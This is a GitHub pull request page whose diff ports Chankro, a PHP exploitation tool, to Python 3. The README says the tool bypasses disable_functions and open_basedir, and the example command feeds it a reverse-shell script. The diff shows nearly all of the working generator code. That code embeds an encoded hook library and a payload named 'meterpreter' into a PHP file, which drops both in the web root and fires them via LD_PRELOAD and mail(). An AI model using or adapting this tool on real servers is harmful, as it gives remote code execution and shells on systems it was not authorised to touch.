Skip to content

Works on python3 and some bugfixes #11

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
DraumVisker wants to merge 2 commits into
base: master
Choose a base branch
from
Open

Works on python3 and some bugfixes #11

Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
2 commits
Select commit Hold shift + click to select a range
a26d68a
Works on python3 and some bugfixes
DraumVisker Mar 31, 2023
cee626a
Update README.md
DraumVisker Mar 31, 2023
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion README.md
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -11,7 +11,7 @@ PHP in Linux calls a binary (sendmail) when the mail() function is executed. If
The syntax is pretty straightforward:

```
$ python2 chankro.py --arch 64 --input rev.sh --output chan.php --path /var/www/html
$ python chankro.py --arch 64 --input rev.sh --output chan.php --path /var/www/html
```

Note: path is the absolute path where our .so will be dropped.
Expand Down
38 changes: 20 additions & 18 deletions chankro.py
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -1,10 +1,10 @@
######## Chankro v0.4 #######

######## Chankro v0.5 #######
# This edition will works on python3
# [+] Bypass disable_functions
# [+] Bypass open_basedir

##############################
# @TheXC3LL #
# @Ash-127-0-0-1 #
##############################


Expand All @@ -22,60 +22,62 @@
# path where the tool is installed
script_path = os.path.dirname(os.path.realpath(__file__))

print "\n\n -=[ Chankro ]=-\n -={ @TheXC3LL }=-\n\n"
print ("\n\n -=[ Chankro ]=-\n -={ @TheXC3LL }=-\n\n")


if not args.meter:
print "[!] Error: please select a valid file as input"
exit()
print ("[!] Error: please select a valid file as input")
exit()
try:
with open(args.meter, "rb") as file:
encoded_shell = base64.b64encode(file.read())
except:
print "[!] Error: file could not be opened"
print ("[!] Error: file could not be opened")
exit()
if not args.out:
print "[!] Error: please select a valid file as output"
print ("[!] Error: please select a valid file as output")
exit()
try:
if (os.path.isabs(args.out)):
outfile = open(args.out, "w") # absolute path provided
else:
outfile = open(os.getcwd() + '/' + args.out, "w") # relative path provided
except:
print "[!] Error: file could not be created"
print ("[!] Error: file could not be created")
exit()

if not args.arch:
print "[!] Error: select architecture (64 or 32)"
print ("[!] Error: select architecture (64 or 32)")
exit()
else:
if args.arch != "32" and args.arch != "64":
print "[!] Error: unknow architecture"
print ("[!] Error: unknow architecture")
exit()
else:
archi = script_path + "/hook" + args.arch + ".so"
if not args.pati:
print "[!] Error: remote path"
print ("[!] Error: remote path")
exit()

with open(archi, "rb") as bicho:
encoded_bicho = base64.b64encode(bicho.read())


head = "<?php\n $hook = '" + encoded_bicho + "';\n"
body1 = "$meterpreter = '" + encoded_shell + "';\n"


head = "<?php\n $hook = '" + encoded_bicho.decode() + "';\n"
body1 = "$meterpreter = '" + encoded_shell.decode() + "';\n"
body2 = "file_put_contents('" + args.pati + "/chankro.so', base64_decode($hook));\n"
body3 = "file_put_contents('" + args.pati + "/acpid.socket', base64_decode($meterpreter));\n"
cosa3 = "putenv('CHANKRO=" + args.pati + "/acpid.socket');\n"
tail1 = "putenv('LD_PRELOAD=" + args.pati + "/chankro.so');\n"
tail2 = "mail('a','a','a','a');?>"

print "[+] Binary file: " + args.meter
print "[+] Architecture: x" + args.arch
print "[+] Final PHP: " + args.out + "\n\n"
print ("[+] Binary file: " + args.meter)
print ("[+] Architecture: x" + args.arch)
print ("[+] Final PHP: " + args.out + "\n\n")


outfile.write(head + body1 + body2 + body3 + cosa3 + tail1 + tail2)
outfile.close()
print "[+] File created!"
print ("[+] File created!")